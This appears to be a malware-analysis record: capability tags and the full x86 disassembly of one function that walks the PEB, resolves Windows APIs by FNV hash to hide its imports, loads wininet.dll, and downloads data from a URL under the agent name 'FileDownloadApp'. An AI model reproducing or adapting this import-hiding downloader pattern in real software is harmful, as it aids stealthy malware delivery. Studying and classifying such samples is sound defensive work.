Function at 0x40a6e0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e63d
mov eax, dword fs:[0]
push eax
mov eax, 0x101c
call fcn.0040daa0
mov eax, dword [0x414008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x1028], eax
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1020], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x101c], ecx
cmp ecx, esi
je 0x40a799
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40a799
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x3d65c192
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40a792
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40a775
cmp esi, 0x7d4121a4
je 0x40a79d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40a760
mov eax, dword [eax]
jmp 0x40a730
mov esi, dword [ebp - 0x101c]
mov edx, dword [ebp - 0x1020]
push str.wininet.dll
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1020], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x101c], ecx
cmp ecx, esi
je 0x40a839
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40a839
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
sub ebx, 4
add edx, esi
dec edi
mov esi, 0x3a637e42
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40a832
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40a815
cmp esi, 0xffd013ca
je 0x40a83d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40a800
mov eax, dword [eax]
jmp 0x40a7d1
mov esi, dword [ebp - 0x101c]
mov edx, dword [ebp - 0x1020]
push 0
push 0
mov eax, dword [esi + 0x24]
push 0
push 1
push str.FileDownloadApp
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x1020], eax
test eax, eax
je 0x40a9f6
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov dword [ebp - 0x1018], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1024], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x101c], ecx
cmp ecx, esi
je 0x40a909
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40a909
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x33455e29
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40a902
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40a8e5
cmp esi, 0xb77acd88
je 0x40a90d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40a8d0
mov eax, dword [eax]
jmp 0x40a8a0
mov esi, dword [ebp - 0x101c]
mov edx, dword [ebp - 0x1024]
push 0
push 0x80000000
mov eax, dword [esi + 0x24]
push 0
push 0
push dword [ebp - 0x1018]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push dword [ebp - 0x1020]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x101c], eax
test eax, eax
jne 0x40aa30
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1024], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1018], ecx
cmp ecx, esi
je 0x40a9c9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40a9c9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
sub ebx, 4
add edx, esi
dec edi
mov esi, 0x49c6e773
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40a9c2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40a9a5
cmp esi, 0xbae6a24
je 0x40a9cd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40a990
mov eax, dword [eax]
jmp 0x40a961
mov esi, dword [ebp - 0x1018]
mov edx, dword [ebp - 0x1024]
push dword [ebp - 0x1020]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xor bl, bl
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x40ac77
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ac6d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40ac6d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov dword [ebp - 0x1014], 0
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x1024], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x1018], ecx
cmp ecx, edx
je 0x40aab9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40aab9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax + eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x4cb7e1a2
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x40aab2
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x40aa95
cmp esi, 0x96745469
je 0x40aabd
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x40aa80
mov eax, dword [eax]
jmp 0x40aa50
mov esi, dword [ebp - 0x1018]
mov edx, dword [ebp - 0x1024]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x1014]
push ecx
push 0x1000
lea ecx, [ebp - 0x1010]
add eax, edx
push ecx
push dword [ebp - 0x101c]
call eax
test eax, eax
je 0x40ab24
mov eax, dword [ebp - 0x1014]
test eax, eax
je 0x40ab24
push eax
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 0x1028]
mov ecx, eax
push dword [eax + 4]
call fcn.0040c360
jmp 0x40aa40
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1018], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1028], ecx
cmp ecx, esi
je 0x40ab99
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40ab99
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x9f8860f4
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40ab92
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40ab75
cmp esi, 0x87ecaa1
je 0x40ab9d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40ab60
mov eax, dword [eax]
jmp 0x40ab30
mov esi, dword [ebp - 0x1028]
mov edx, dword [ebp - 0x1018]
push dword [ebp - 0x101c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1018], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1028], ecx
cmp ecx, esi
je 0x40ac39
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40ac39
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x10854140
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40ac32
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40ac15
cmp esi, 0xd8ec64cd
je 0x40ac3d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40ac00
mov eax, dword [eax]
jmp 0x40abd2
mov esi, dword [ebp - 0x1028]
mov edx, dword [ebp - 0x1018]
push dword [ebp - 0x1020]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov bl, 1
jmp 0x40a9f8
push ecx
push edx
call fcn.0040cbca
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040cb87
mov esp, ebp
pop ebp
ret 0x1c